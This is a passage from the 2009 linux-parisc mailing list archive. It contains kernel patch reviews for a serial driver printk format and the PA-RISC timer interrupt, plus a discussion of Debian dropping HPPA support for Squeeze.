References: <1242652291-1868-1-git-send-email-a.beregalov@gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1243489885 576 80.91.229.12 (28 May 2009 05:51:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 28 May 2009 05:51:25 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org,
	alan@lxorguk.ukuu.org.uk
To: Alexander Beregalov <a.beregalov@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu May 28 07:51:22 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1M9YWO-0007WR-V1
	for glpp-linux-parisc@gmane.org; Thu, 28 May 2009 07:51:21 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755676AbZE1FvR (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 28 May 2009 01:51:17 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751734AbZE1FvR
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 28 May 2009 01:51:17 -0400
Original-Received: from smtp1.linux-foundation.org ([140.211.169.13]:56727 "EHLO
	smtp1.linux-foundation.org" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1750833AbZE1FvQ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 28 May 2009 01:51:16 -0400
Original-Received: from imap1.linux-foundation.org (imap1.linux-foundation.org [140.211.169.55])
	by smtp1.linux-foundation.org (8.14.2/8.13.5/Debian-3ubuntu1.1) with ESMTP id n4S5p7CN026149
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Wed, 27 May 2009 22:51:08 -0700
Original-Received: from y.localdomain (localhost [127.0.0.1])
	by imap1.linux-foundation.org (8.13.5.20060308/8.13.5/Debian-3ubuntu1.1) with SMTP id n4S5p7jA010428;
	Wed, 27 May 2009 22:51:07 -0700
In-Reply-To: <1242652291-1868-1-git-send-email-a.beregalov@gmail.com>
X-Mailer: Sylpheed 2.4.8 (GTK+ 2.12.5; x86_64-redhat-linux-gnu)
X-Spam-Status: No, hits=-3.494 required=5 tests=AWL,BAYES_00,OSDL_HEADER_SUBJECT_BRACKETED
X-Spam-Checker-Version: SpamAssassin 3.2.4-osdl_revision__1.47__
X-MIMEDefang-Filter: lf$Revision: 1.188 $
X-Scanned-By: MIMEDefang 2.63 on 140.211.169.13
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1712 gmane.linux.kernel:842873
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1712>

On Mon, 18 May 2009 17:11:31 +0400 Alexander Beregalov <a.beregalov@gmail.com> wrote:

> Fix this build warning:
> drivers/serial/8250_gsc.c:44: warning: format '%lx' expects type
> 'long unsigned int', but argument 2 has type 'resource_size_t'
> 

The patch does more than fix a "warning".  It fixes an actual error. 
The caller will prepare a 64-bit argument and the callee will print
only 32 bits of it.

> ---
>  drivers/serial/8250_gsc.c |    2 +-
>  1 files changed, 1 insertions(+), 1 deletions(-)
> 
> diff --git a/drivers/serial/8250_gsc.c b/drivers/serial/8250_gsc.c
> index 418b4fe..a7b02a5 100644
> --- a/drivers/serial/8250_gsc.c
> +++ b/drivers/serial/8250_gsc.c
> @@ -41,7 +41,7 @@ static int __init serial_init_chip(struct parisc_device *dev)
>  			printk(KERN_INFO
>  				"Serial: device 0x%lx not configured.\n"
>  				"Enable support for Wax, Lasi, Asp or Dino.\n",
> -				dev->hpa.start);
> +				(unsigned long)dev->hpa.start);

Nope.  hpa.start can be u32 or u64.  We need to cast that to the wider
type so that it will correctly print in all circumstances.

So I changed both patches to print with %ll and to cast to
unsigned long long.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH 2/2] serial: 8250_gsc: fix printk format warning
Date: Fri, 29 May 2009 09:51:48 -0600
Lines: 49
Approved: news@gmane.org
Message-ID: <20090529155148.GB28355@lackof.org>
References: <1242652291-1868-1-git-send-email-a.beregalov@gmail.com> <20090527225106.10fc9cc6.akpm@linux-foundation.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1243612319 20741 80.91.229.12 (29 May 2009 15:51:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 29 May 2009 15:51:59 +0000 (UTC)
Cc: Alexander Beregalov <a.beregalov@gmail.com>,
	linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org,
	alan@lxorguk.ukuu.org.uk
To: Andrew Morton <akpm@linux-foundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri May 29 17:51:56 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MA4N7-00020E-5m
	for glpp-linux-parisc@gmane.org; Fri, 29 May 2009 17:51:53 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1759915AbZE2Pvs (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 29 May 2009 11:51:48 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1759766AbZE2Pvs
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 29 May 2009 11:51:48 -0400
Original-Received: from complete.lackof.org ([198.49.126.79]:57968 "EHLO
	complete.lackof.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1758231AbZE2Pvr (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 29 May 2009 11:51:47 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by complete.lackof.org (Postfix) with ESMTP id 48EAD33E005E;
	Fri, 29 May 2009 09:51:49 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at lackof.org
Original-Received: from complete.lackof.org ([127.0.0.1])
	by localhost (complete.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id JlsPv2eNo0ZZ; Fri, 29 May 2009 09:51:48 -0600 (MDT)
Original-Received: by complete.lackof.org (Postfix, from userid 27253)
	id E404533E0060; Fri, 29 May 2009 09:51:48 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20090527225106.10fc9cc6.akpm@linux-foundation.org>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1713 gmane.linux.kernel:843620
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1713>

On Wed, May 27, 2009 at 10:51:06PM -0700, Andrew Morton wrote:
> On Mon, 18 May 2009 17:11:31 +0400 Alexander Beregalov <a.beregalov@gmail.com> wrote:
> 
> > Fix this build warning:
> > drivers/serial/8250_gsc.c:44: warning: format '%lx' expects type
> > 'long unsigned int', but argument 2 has type 'resource_size_t'
> > 
> 
> The patch does more than fix a "warning".  It fixes an actual error. 
> The caller will prepare a 64-bit argument and the callee will print
> only 32 bits of it.

On parisc, AFAIK, GSC devices are always at a 32-bit addresses.
So whatever compiles clean is fine.

Please add "Reviewed by: Grant Grundler <grundler@parisc-linux.org>"

thanks,
grant

> > ---
> >  drivers/serial/8250_gsc.c |    2 +-
> >  1 files changed, 1 insertions(+), 1 deletions(-)
> > 
> > diff --git a/drivers/serial/8250_gsc.c b/drivers/serial/8250_gsc.c
> > index 418b4fe..a7b02a5 100644
> > --- a/drivers/serial/8250_gsc.c
> > +++ b/drivers/serial/8250_gsc.c
> > @@ -41,7 +41,7 @@ static int __init serial_init_chip(struct parisc_device *dev)
> >  			printk(KERN_INFO
> >  				"Serial: device 0x%lx not configured.\n"
> >  				"Enable support for Wax, Lasi, Asp or Dino.\n",
> > -				dev->hpa.start);
> > +				(unsigned long)dev->hpa.start);
> 
> Nope.  hpa.start can be u32 or u64.  We need to cast that to the wider
> type so that it will correctly print in all circumstances.
> 
> So I changed both patches to print with %ll and to cast to
> unsigned long long.
> --
> To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: PATCH 2.6.30-rc7 fix "delay!" timer handling
Date: Sun, 31 May 2009 18:20:23 -0600
Lines: 172
Approved: news@gmane.org
Message-ID: <20090601002023.GE3291@lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1243815631 9092 80.91.229.12 (1 Jun 2009 00:20:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 1 Jun 2009 00:20:31 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jun 01 02:20:26 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MAvGM-00072e-0D
	for glpp-linux-parisc@gmane.org; Mon, 01 Jun 2009 02:20:26 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751856AbZFAAUW (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 31 May 2009 20:20:22 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752187AbZFAAUW
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 31 May 2009 20:20:22 -0400
Original-Received: from complete.lackof.org ([198.49.126.79]:41582 "EHLO
	complete.lackof.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751856AbZFAAUV (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 31 May 2009 20:20:21 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by complete.lackof.org (Postfix) with ESMTP id E829333E0056;
	Sun, 31 May 2009 18:20:23 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at lackof.org
Original-Received: from complete.lackof.org ([127.0.0.1])
	by localhost (complete.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id PH1FlwrLPmPx; Sun, 31 May 2009 18:20:23 -0600 (MDT)
Original-Received: by complete.lackof.org (Postfix, from userid 27253)
	id 798EA1E120C1; Sun, 31 May 2009 18:20:23 -0600 (MDT)
Content-Disposition: inline
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1714
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1714>


Rewrote timer_interrupt() to properly handle the "delayed!" case.

If we used floating point math to compute the number of ticks that had
elapsed since the last timer interrupt, it could take up to 12K cycles
(emperical!) to handle the interrupt. Existing code assumed it would
never take more than 8k cycles. We end up programming Interval Timer
to a value less than "current" cycle counter.  Thus have to wait until
Interval Timer "wrapped" and would then get the "delayed!" printk that
I moved below.

Since we don't really know what the upper limit is, I prefer to read
CR16 again after we've programmed it to make sure we won't have to
wait for CR16 to wrap.

Further, the printk was between reading CR16 (cycle couner) and writing CR16
(the interval timer). This would cause us to continue to set the interval
timer to a value that was "behind" the cycle counter. Rinse and repeat.
So no printk's between reading CR16 and setting next interval timer.

Tested on A500 (550 Mhz PA8600).

Signed-off-by: Grant Grundler <grundler@parisc-linux.org>

----
Kyle, Helge, and other parisc's,
Please test on 32-bit before committing.
I think I have it right but recognize I might not.

TODO: I wanted to use "do_div()" in order to get both remainder
and value back with one division op. That should help with the
latency alot but can be applied seperately from this patch.

thanks,
grant

diff --git a/arch/parisc/kernel/time.c b/arch/parisc/kernel/time.c
index d4dd056..b6daa53 100644
--- a/arch/parisc/kernel/time.c
+++ b/arch/parisc/kernel/time.c
@@ -56,9 +56,9 @@ static unsigned long clocktick __read_mostly;	/* timer cycles per tick */
  */
 irqreturn_t __irq_entry timer_interrupt(int irq, void *dev_id)
 {
-	unsigned long now;
+	unsigned long now, now2;
 	unsigned long next_tick;
-	unsigned long cycles_elapsed, ticks_elapsed;
+	unsigned long cycles_elapsed, ticks_elapsed = 1;
 	unsigned long cycles_remainder;
 	unsigned int cpu = smp_processor_id();
 	struct cpuinfo_parisc *cpuinfo = &per_cpu(cpu_data, cpu);
@@ -71,44 +71,24 @@ irqreturn_t __irq_entry timer_interrupt(int irq, void *dev_id)
 	/* Initialize next_tick to the expected tick time. */
 	next_tick = cpuinfo->it_value;
 
-	/* Get current interval timer.
-	 * CR16 reads as 64 bits in CPU wide mode.
-	 * CR16 reads as 32 bits in CPU narrow mode.
-	 */
+	/* Get current cycle counter (Control Register 16). */
 	now = mfctl(16);
 
 	cycles_elapsed = now - next_tick;
 
-	if ((cycles_elapsed >> 5) < cpt) {
+	if ((cycles_elapsed >> 6) < cpt) {
 		/* use "cheap" math (add/subtract) instead
 		 * of the more expensive div/mul method
 		 */
 		cycles_remainder = cycles_elapsed;
-		ticks_elapsed = 1;
 		while (cycles_remainder > cpt) {
 			cycles_remainder -= cpt;
 			ticks_elapsed++;
 		}
 	} else {
+		/* TODO: Reduce this to one fdiv op */
 		cycles_remainder = cycles_elapsed % cpt;
-		ticks_elapsed = 1 + cycles_elapsed / cpt;
-	}
-
-	/* Can we differentiate between "early CR16" (aka Scenario 1) and
-	 * "long delay" (aka Scenario 3)? I don't think so.
-	 *
-	 * We expected timer_interrupt to be delivered at least a few hundred
-	 * cycles after the IT fires. But it's arbitrary how much time passes
-	 * before we call it "late". I've picked one second.
-	 */
-	if (unlikely(ticks_elapsed > HZ)) {
-		/* Scenario 3: very long delay?  bad in any case */
-		printk (KERN_CRIT "timer_interrupt(CPU %d): delayed!"
-			" cycles %lX rem %lX "
-			" next/now %lX/%lX\n",
-			cpu,
-			cycles_elapsed, cycles_remainder,
-			next_tick, now );
+		ticks_elapsed += cycles_elapsed / cpt;
 	}
 
 	/* convert from "division remainder" to "remainder of clock tick" */
@@ -122,18 +102,56 @@ irqreturn_t __irq_entry timer_interrupt(int irq, void *dev_id)
 
 	cpuinfo->it_value = next_tick;
 
-	/* Skip one clocktick on purpose if we are likely to miss next_tick.
-	 * We want to avoid the new next_tick being less than CR16.
-	 * If that happened, itimer wouldn't fire until CR16 wrapped.
-	 * We'll catch the tick we missed on the tick after that.
+	/* Program the IT when to deliver the next interrupt.
+	 * Only bottom 32-bits of next_tick are writable in CR16!
 	 */
-	if (!(cycles_remainder >> 13))
-		next_tick += cpt;
-
-	/* Program the IT when to deliver the next interrupt. */
-	/* Only bottom 32-bits of next_tick are written to cr16.  */
 	mtctl(next_tick, 16);
 
+	/* Skip one clocktick on purpose if we missed next_tick.
+	 * The new CR16 must be "later" than current CR16 otherwise
+	 * itimer would not fire until CR16 wrapped - e.g 4 seconds
+	 * later on a 1Ghz processor. We'll account for the missed
+	 * tick on the next timer interrupt.
+	 *
+	 * "next_tick - now" will always give the difference regardless
+	 * if one or the other wrapped. If "now" is "bigger" we'll end up
+	 * with a very large unsigned number.
+	 */
+	now2 = mfctl(16);
+	if (next_tick - now2 > cpt)
+		mtctl(next_tick+cpt, 16);
+
+#if 1
+/*
+ * GGG: DEBUG code for how many cycles programming CR16 used.
+ */
+	if (unlikely(now2 - now > 0x3000)) 	/* 12K cycles */
+		printk (KERN_CRIT "timer_interrupt(CPU %d): SLOW! 0x%lx cycles!"
+			" cyc %lX rem %lX "
+			" next/now %lX/%lX\n",
+			cpu, now2 - now, cycles_elapsed, cycles_remainder,
+			next_tick, now );
+#endif
+
+	/* Can we differentiate between "early CR16" (aka Scenario 1) and
+	 * "long delay" (aka Scenario 3)? I don't think so.
+	 *
+	 * Timer_interrupt will be delivered at least a few hundred cycles
+	 * after the IT fires. But it's arbitrary how much time passes
+	 * before we call it "late". I've picked one second.
+	 *
+	 * It's important NO printk's are between reading CR16 and
+	 * setting up the next value. May introduce huge variance.
+	 */
+	if (unlikely(ticks_elapsed > HZ)) {
+		/* Scenario 3: very long delay?  bad in any case */
+		printk (KERN_CRIT "timer_interrupt(CPU %d): delayed!"
+			" cycles %lX rem %lX "
+			" next/now %lX/%lX\n",
+			cpu,
+			cycles_elapsed, cycles_remainder,
+			next_tick, now );
+	}
 
 	/* Done mucking with unreliable delivery of interrupts.
 	 * Go do system house keeping.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:04:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [Fwd: HPPA and Squeeze]
Date: Tue, 02 Jun 2009 22:22:23 +0200
Lines: 45
Approved: news@gmane.org
Message-ID: <4A2589FF.90903@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1243974167 18659 80.91.229.12 (2 Jun 2009 20:22:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 2 Jun 2009 20:22:47 +0000 (UTC)
To: linux-parisc <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jun 02 22:22:45 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MBaVQ-0001E3-Hi
	for glpp-linux-parisc@gmane.org; Tue, 02 Jun 2009 22:22:44 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751775AbZFBUWZ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 2 Jun 2009 16:22:25 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752836AbZFBUWZ
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 2 Jun 2009 16:22:25 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:50509 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1753764AbZFBUWZ (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 2 Jun 2009 16:22:25 -0400
Original-Received: (qmail invoked by alias); 02 Jun 2009 20:22:24 -0000
Original-Received: from mnhm-590e0f40.pool.einsundeins.de (EHLO [192.168.178.60]) [89.14.15.64]
  by mail.gmx.net (mp015) with SMTP; 02 Jun 2009 22:22:24 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1/mFnlg37nmBj11geB8EAw/AtIYo5s1Dzdh7hEdi4
	KfuqYxW248YnCM
User-Agent: Thunderbird 2.0.0.21 (X11/20090320)
X-Enigmail-Version: 0.95.7
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.57
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1716
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1716>

FYI - Helge

-------- Original Message --------
Subject: HPPA and Squeeze
Resent-Date: Tue,  2 Jun 2009 14:39:10 +0000 (UTC)
Resent-From: debian-hppa@lists.debian.org
Date: Tue, 2 Jun 2009 15:07:35 +0100
From: Neil McGovern <neilm@debian.org>
To: HPPA porters <debian-hppa@lists.debian.org>
CC: admin@debian-ports.org

Hi,

As mentioned previously[0], the release team haven't been happy with the
state of the HPPA port in Debian. After the release team meeting[1], it
has been decided that unfortunatly HPPA will not be supported for
Squeeze. This was after careful consideration, and wasn't an easy
decision.

This means that ftpmasters will be asked to remove HPPA from testing and
unstable from the 30th June. It is suggested that HPPA porters may wish
to consider using debian-ports.org if they wish to continue with the
port.

Regards,
Neil McGovern

[0] http://lists.debian.org/debian-release/2009/04/msg00299.html
[1] http://lists.debian.org/debian-project/2009/05/msg00080.html
-- 
< MadCoder> and right now I'm wearing a tutu and am doing dance steps
< Maulkin> I'm scared by the French cabal in tutus.
< HE> The french cabal doesn't need tutus to scare me.
< HE> They have combined computing power (see lucas) with pure madness (see Joss)


-- 
To UNSUBSCRIBE, email to debian-hppa-REQUEST@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian.org

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [Fwd: HPPA and Squeeze]
Date: Tue, 2 Jun 2009 19:39:19 -0400 (EDT)
Lines: 77
Approved: news@gmane.org
Message-ID: <20090602233919.88F4D4EDA@hiauly1.hia.nrc.ca>
References: <4A2589FF.90903@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1243985971 20462 80.91.229.12 (2 Jun 2009 23:39:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 2 Jun 2009 23:39:31 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: deller@gmx.de (Helge Deller)
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jun 03 01:39:28 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MBdZj-0000BS-Fp
	for glpp-linux-parisc@gmane.org; Wed, 03 Jun 2009 01:39:23 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754782AbZFBXjT (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 2 Jun 2009 19:39:19 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754544AbZFBXjT
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 2 Jun 2009 19:39:19 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:1640 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754213AbZFBXjS (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 2 Jun 2009 19:39:18 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 88F4D4EDA; Tue,  2 Jun 2009 19:39:19 -0400 (EDT)
In-Reply-To: <4A2589FF.90903@gmx.de> from "Helge Deller" at Jun 2, 2009 10:22:23 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1717
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1717>

I have to say this is sad but not expected.  It not really possible
to support an architecture without the support of its manufacturer.
HP hasn't provide any PA-RISC support beyond a few test machines for
a few years.

>From what I read on the debian list, the decision was the result of an
unstable kernel (build infrastructure) and the lack of a functional java
port (gcj is considered inadequate and broken).  It was taken even though
Carlos has submitted the patches to transition to NPTL in glibc 2.10.
The links in Neil McGovern message don't provide the actual rational.

Software is always buggy to some extent.  In the the past, when debian
developers reported problems/bugs to the relevant lists, the problems
have generally been resolved.  I haven't seen this happening to the same
extent recently.  So, it's not surprising to me that debian ports are
being lost.

As a user of Squeeze, I haven't experienced any major problems.  Thus,
I am disappointed that it is going to be removed for HPPA.

Dave

> FYI - Helge
> 
> -------- Original Message --------
> Subject: HPPA and Squeeze
> Resent-Date: Tue,  2 Jun 2009 14:39:10 +0000 (UTC)
> Resent-From: debian-hppa@lists.debian.org
> Date: Tue, 2 Jun 2009 15:07:35 +0100
> From: Neil McGovern <neilm@debian.org>
> To: HPPA porters <debian-hppa@lists.debian.org>
> CC: admin@debian-ports.org
> 
> Hi,
> 
> As mentioned previously[0], the release team haven't been happy with the
> state of the HPPA port in Debian. After the release team meeting[1], it
> has been decided that unfortunatly HPPA will not be supported for
> Squeeze. This was after careful consideration, and wasn't an easy
> decision.
> 
> This means that ftpmasters will be asked to remove HPPA from testing and
> unstable from the 30th June. It is suggested that HPPA porters may wish
> to consider using debian-ports.org if they wish to continue with the
> port.
> 
> Regards,
> Neil McGovern
> 
> [0] http://lists.debian.org/debian-release/2009/04/msg00299.html
> [1] http://lists.debian.org/debian-project/2009/05/msg00080.html
> -- 
> < MadCoder> and right now I'm wearing a tutu and am doing dance steps
> < Maulkin> I'm scared by the French cabal in tutus.
> < HE> The french cabal doesn't need tutus to scare me.
> < HE> They have combined computing power (see lucas) with pure madness (see Joss)
> 
> 
> -- 
> To UNSUBSCRIBE, email to debian-hppa-REQUEST@lists.debian.org
> with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian.org
> 
> --
> To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
> 


-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <T-Bone@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [Fwd: HPPA and Squeeze]
Date: Wed, 3 Jun 2009 13:36:07 +0200
Lines: 19
Approved: news@gmane.org
Message-ID: <7d01f9f00906030436r642d07bg3bd52fa682c78751@mail.gmail.com>
References: <4A2589FF.90903@gmx.de>
	 <20090602233919.88F4D4EDA@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1244029287 28232 80.91.229.12 (3 Jun 2009 11:41:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 3 Jun 2009 11:41:27 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jun 03 13:41:25 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MBoqS-0001uO-E8
	for glpp-linux-parisc@gmane.org; Wed, 03 Jun 2009 13:41:24 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752764AbZFCLlU (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 3 Jun 2009 07:41:20 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753603AbZFCLlU
	(ORCPT <rfc822;linux-parisc-outgoing>);
